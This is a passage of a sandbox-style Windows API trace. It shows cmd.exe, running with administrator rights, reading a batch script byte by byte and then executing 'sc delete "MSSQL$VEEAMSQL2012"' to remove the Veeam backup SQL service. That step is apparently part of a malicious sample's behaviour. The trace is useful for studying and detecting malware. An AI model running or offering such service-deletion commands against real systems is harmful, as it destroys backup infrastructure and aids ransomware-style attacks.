(in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Lter\nTRY130\ne\n") returned 1 [0065.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.178] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.178] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="$er\nTRY130\ne\n") returned 1 [0065.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.178] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.178] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Vr\nTRY130\ne\n") returned 1 [0065.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.178] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.178] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="E\nTRY130\ne\n") returned 1 [0065.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.178] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.178] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="ETRY130\ne\n") returned 1 [0065.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.178] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.178] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="ARY130\ne\n") returned 1 [0065.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.178] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.178] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="MY130\ne\n") returned 1 [0065.178] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.178] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.179] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="S130\ne\n") returned 1 [0065.179] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.179] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.179] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="Q30\ne\n") returned 1 [0065.179] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.179] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.179] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="L0\ne\n") returned 1 [0065.179] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.179] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.179] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="2\ne\n") returned 1 [0065.179] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.179] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.179] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="0e\n") returned 1 [0065.179] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.179] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.179] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="1\n") returned 1 [0065.179] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.179] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.179] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0065.180] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.180] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.180] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0065.180] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.180] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.180] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0065.180] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.180] GetFileType (hFile=0xb8) returned 0x3 [0065.180] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.180] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.180] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.180] GetFileType (hFile=0x120) returned 0x3 [0065.180] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$VEEAMSQL2012\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$VEEAMSQL2012\"\n", lpUsedDefaultChar=0x0) returned 32 [0065.180] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1f, lpOverlapped=0x0) returned 1 [0065.180] GetProcessHeap () returned 0x1b0000 [0065.180] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.180] GetProcessHeap () returned 0x1b0000 [0065.180] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.180] GetProcessHeap () returned 0x1b0000 [0065.180] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.180] GetProcessHeap () returned 0x1b0000 [0065.180] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.180] GetProcessHeap () returned 0x1b0000 [0065.180] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4a) returned 0x1c97e0 [0065.181] GetConsoleOutputCP () returned 0x1b5 [0065.181] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.181] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.181] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.181] GetProcessHeap () returned 0x1b0000 [0065.181] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.181] GetProcessHeap () returned 0x1b0000 [0065.181] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x50) returned 0x1c9840 [0065.181] GetProcessHeap () returned 0x1b0000 [0065.181] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0065.181] SetErrorMode (uMode=0x0) returned 0x1 [0065.181] SetErrorMode (uMode=0x1) returned 0x0 [0065.181] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.181] SetErrorMode (uMode=0x1) returned 0x1 [0065.181] GetProcessHeap () returned 0x1b0000 [0065.181] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0065.181] GetProcessHeap () returned 0x1b0000 [0065.181] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0065.182] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.182] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.182] GetProcessHeap () returned 0x1b0000 [0065.182] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.182] GetProcessHeap () returned 0x1b0000 [0065.182] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.182] GetProcessHeap () returned 0x1b0000 [0065.182] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.182] GetProcessHeap () returned 0x1b0000 [0065.182] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.182] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.182] GetProcessHeap () returned 0x1b0000 [0065.182] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0065.182] GetProcessHeap () returned 0x1b0000 [0065.182] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0065.182] GetProcessHeap () returned 0x1b0000 [0065.182] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0065.182] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.182] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.182] GetLastError () returned 0x2 [0065.182] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.182] GetLastError () returned 0x2 [0065.182] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.183] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.183] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.183] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.183] GetLastError () returned 0x2 [0065.183] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.183] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.183] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.183] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.183] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.183] GetProcessHeap () returned 0x1b0000 [0065.183] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.183] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.183] GetProcessHeap () returned 0x1b0000 [0065.183] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb6) returned 0x1c9180 [0065.183] GetProcessHeap () returned 0x1b0000 [0065.184] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb6 [0065.184] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$VEEAMSQL2012\"") returned 1 [0065.184] GetProcessHeap () returned 0x1b0000 [0065.184] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.184] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.184] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.184] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.184] GetProcessHeap () returned 0x1b0000 [0065.184] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.184] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.185] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.186] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.186] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.186] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.186] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.186] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.186] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.186] GetProcessHeap () returned 0x1b0000 [0065.186] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.186] GetProcessHeap () returned 0x1b0000 [0065.186] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.186] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$VEEAMSQL2012\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$VEEAMSQL2012\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"MSSQL$VEEAMSQL2012\"", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x6f4, dwThreadId=0xaf4)) returned 1 [0065.189] CloseHandle (hObject=0x50) returned 1 [0065.189] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.189] GetProcessHeap () returned 0x1b0000 [0065.189] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.189] GetEnvironmentStringsW () returned 0x1cba10* [0065.189] GetProcessHeap () returned 0x1b0000 [0065.189] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0065.189] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0065.189] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.189] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.189] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0065.248] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.249] CloseHandle (hObject=0x54) returned 1 [0065.249] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.249] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.249] GetProcessHeap () returned 0x1b0000 [0065.249] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0065.249] GetEnvironmentStringsW () returned 0x1d1b10* [0065.249] GetProcessHeap () returned 0x1b0000 [0065.249] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.249] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.249] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.249] GetProcessHeap () returned 0x1b0000 [0065.249] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 